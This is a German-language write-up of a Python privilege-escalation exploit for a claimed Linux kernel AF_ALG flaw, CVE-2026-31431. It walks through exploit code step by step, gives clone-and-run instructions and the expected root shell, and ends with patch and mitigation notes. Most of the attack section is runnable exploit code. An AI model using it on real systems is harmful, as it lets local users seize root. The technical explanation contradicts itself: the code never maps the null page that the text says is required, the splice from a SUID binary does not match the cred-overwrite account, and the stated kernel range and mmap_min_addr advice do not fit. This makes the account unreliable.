
Python-Exploit für CVE-2026-31431, eine Linux-Kernel-LPE über eine AF_ALG-Nullzeiger-Dereferenzierung, die zu einem Heap-OOB-Schreibzugriff und einer Überschreibung von Berechtigungsnachweisen führt. Enthält eine detaillierte Schritt-für-Schritt-Anleitung und Hinweise zur Schadensbegrenzung.
Bug-Klasse: Null-Pointer-Dereferenz → Heap-OOB-Write → Credential-Overwrite
Betroffenes Subsystem:net/alg/af_alg.c
Auswirkung: Lokale Privilegienerweiterung (unprivilegierter Benutzer → root)
Betroffene Kernel: Linux 4.4 – 4.9 (vor dem Patch)
Du rufst setsockopt() mit einem NULL-Pointer auf, wo der Kernel eine User-Space-Adresse erwartet. Der Kernel liest von Adresse 0x00000000 — und wenn du die Null-Seite gemappt hast, kontrollierst du, was er liest. Diese einzelne Primitive schneeballt sich zu einem Heap-Out-of-Bounds-Write, mit dem du deine eigene cred-Struktur überschreiben kannst. Game over.
Das AF_ALG-Interface wurde eingeführt, damit User-Space-Programme auf Kernel-Krypto-Routinen zugreifen können, ohne die Algorithmen selbst zu implementieren. Verschlüsselung, Entschlüsselung, Hashing — alles über ein Socket-Interface verfügbar. Saubere Idee. Das Problem ist, dass setsockopt(ALG_SET_AEAD_AUTHSIZE) nicht geprüft hat, ob der Benutzer einen gültigen Pointer oder NULL übergeben hat.
Die meisten Null-Pointer-Bugs sterben sofort — der Kernel dereferenziert 0x0, was nicht gemappt ist, und du bekommst ein Oops. Dieser hier überlebt wegen einer separaten Vorbedingung: Wenn vm.mmap_min_addr = 0 ist, kann ein Angreifer mmap(0, ...) aufrufen und Angreifer-kontrollierte Daten auf der Null-Seite platzieren. Jetzt liest der Kernel keinen Müll — er liest genau das, was du dort abgelegt hast.
Der verwundbare Aufruf:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
Normalerweise ist das vierte Argument ein Pointer auf einen 4-Byte-Wert, der die Größe des Authentifizierungs-Tags angibt. Der Kernel ruft copy_from_user() darauf auf. Keine Pointer-Validierung. Übergib NULL, und copy_from_user(dest, 0x00000000, 4) liest von der Null-Seite.
Was du kontrollierst:
Die 4 Bytes an Adresse 0x0 — die du vor dem Aufruf setzt. Das gibt dir einen beliebigen Authsize-Wert.
Warum das gefährlich ist:
AEAD-Operationen allokieren einen Puffer, der groß genug für den Chiffretext plus das Authentifizierungs-Tag ist. Wenn du einen aufgeblähten Authsize einspeist, schreibt der Kernel das Tag über das Ende des allokierten Puffers hinaus — ein klassischer Heap-Out-of-Bounds-Write. Von dort ist es eine Frage des Heap-Groomings, diesen Write auf einer struct cred zu landen.
Der Exploit ist in Python 3 geschrieben und nutzt nur die Standardbibliothek. Hier ist, was jede Phase tatsächlich tut und warum.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (Socket-Familie 38) ist die Kernel-Krypto-API. Das Binden an authencesn(hmac(sha256),cbc(aes)) fordert eine authentifizierte Verschlüsselungs-Vorlage an — HMAC-SHA256 für Integrität, AES-CBC für Vertraulichkeit. Diese Vorlage wird gewählt, weil ihr Auth-Tag-Handling der Ort ist, an dem der verwundbare Write auftritt.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
Ein 72-Byte-Schlüssel wird geladen. Der Schlüssel selbst spielt für die Ausnutzung keine Rolle — wichtig ist, dass das Socket vor dem Trigger-Aufruf vollständig initialisiert ist. Ein ungeschlüsseltes AEAD-Socket könnte die Authsize-Operation frühzeitig ablehnen.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
Das ist die Schwachstelle. None in Python mappt auf einen NULL-Pointer in der C-API. Der Kernel liest 4 Bytes von 0x00000000. Da die Null-Seite bereits mit dem gewünschten Authsize-Wert befüllt wurde, hat der Kernel jetzt eine Angreifer-kontrollierte Authentifizierungs-Tag-Länge.
u, _ = a.accept()
accept() auf einem AF_ALG-Socket gibt ein Operations-Socket zurück. Krypto-Operationen finden hier statt.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # Null-IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # 20-Byte-AAD
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # Operationstyp
],
MSG_MORE
)
Ancillary-Control-Messages konfigurieren die Operation — IV, Länge der assoziierten Daten, Operationsrichtung. Die eigentlichen Daten sind der 4-Byte-Chunk aus dem Exploit-Payload plus Padding.
Dann wird splice verwendet, um Daten aus dem Dateideskriptor einer SUID-Binary in das Operations-Socket zu speisen, wodurch User-Space-Kopien vermieden werden:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
Die Verwendung von splice() hier ist bewusst — sie vermeidet, dass die Daten jemals User-Space-Speicher berühren, was das Kernel-seitige Heap-Layout vorhersehbarer hält. Wenn die AEAD-Operation diese Daten verarbeitet, führt der korrumpierte Authsize dazu, dass der Authentifizierungs-Tag-Write in angrenzenden Heap-Speicher überläuft.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
Der komprimierte Payload enthält die tatsächlich zu schreibenden Werte — präparierte struct cred-Feld-Offsets und genullte UID/GID-Werte. Jede 4-Byte-Iteration platziert einen Write. Die Schleife überschreibt progressiv die Ziel-cred-Struktur, bis alle UIDs und GIDs null sind.
os.system("su")
Mit cred->uid = cred->euid = cred->gid = 0 ist der aktuelle Prozess effektiv root. Das Spawnen von su (oder einer anderen Binary) erbt diese Credentials. Root-Shell.
Null-Seite mappen
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ Kernel liest Authsize von 0x0
│ Angreifer kontrolliert diesen Wert
▼
sendmsg + splice → AEAD-Operation
│ aufgeblähter Authsize verursacht Heap-OOB-Write
│
▼
Heap-Grooming landet Write auf struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → Root-Shell
| Bedingung | Warum sie wichtig ist |
|---|---|
vm.mmap_min_addr = 0 | Ermöglicht das Mapping der Null-Seite — die gesamte Primitive hängt davon ab |
Prüfe dein Mmap-Minimum:
sysctl vm.mmap_min_addr
Ein Wert von 0 oder 4096 deutet auf Gefährdung hin.
# 1. Klonen
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. Voraussetzungen prüfen
sysctl vm.mmap_min_addr
uname -r
# 3. Ausführen
python3 exploit.py
Erwartete Ausgabe auf einem verwundbaren System:
root@hostname:/#
Der Patch ist unkompliziert — eine Null-Prüfung vor dem copy_from_user()-Aufruf in af_alg_set_aead_authsize:
// Vorher (verwundbar)
copy_from_user(&authsize, optval, sizeof(authsize));
// Nachher (gepatcht)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
Relevanter Commit: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
Mitigationen, die die Exploit-Kette ohne Patchen brechen:
vm.mmap_min_addr = 65536 — blockiert das Mapping der Null-Seite, tötet die NULL-Deref-PrimitiveCONFIG_CRYPTO_USER_API_AEAD — entfernt die Angriffsfläche vollständigDiese Bug-Klasse — fehlende Pointer-Validierung vor copy_from_user() — tritt regelmäßig in Kernel-Subsystemen auf, die komplexe APIs für User-Space exponieren. Die Null-Seiten-Primitive wurde über die Jahre in mehreren LPE-Exploits verwendet (Dirty-COW-Ära, CVE-2016-5195-Kettenvarianten). Die Erkenntnis ist nicht nur diese spezifische CVE; es ist das Muster: überall dort, wo der Kernel von einer benutzergelieferten Adresse kopiert, ohne diese Adresse zu validieren, und die Null-Seite mappbar ist, hast du eine Primitive, die einen Blick wert ist.
Für Verteidiger lohnt es sich, die Prüfung von copy_from_user()-Aufrufstellen ohne vorherige Null-Prüfungen in Socket-Option-Handlern in deinen Kernel-Review-Prozess zu automatisieren.
net/alg/af_alg.c — Kernel-Quellcodeaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — AF_ALG-Interface-DokumentationForschung und Writeup nur für Bildungs- und Verteidigungszwecke. Nicht auf Systemen ohne ausdrückliche Genehmigung verwenden.
| AF_ALG im Kernel kompiliert | Muss aktiviert sein (CONFIG_CRYPTO_USER_API_AEAD=y) |
| Kernel 4.4 – 4.9 (ungepatcht) | Verwundbarer Codepfad existiert |
| Lokaler Benutzerzugriff | Nur LPE — nicht remote ausnutzbar |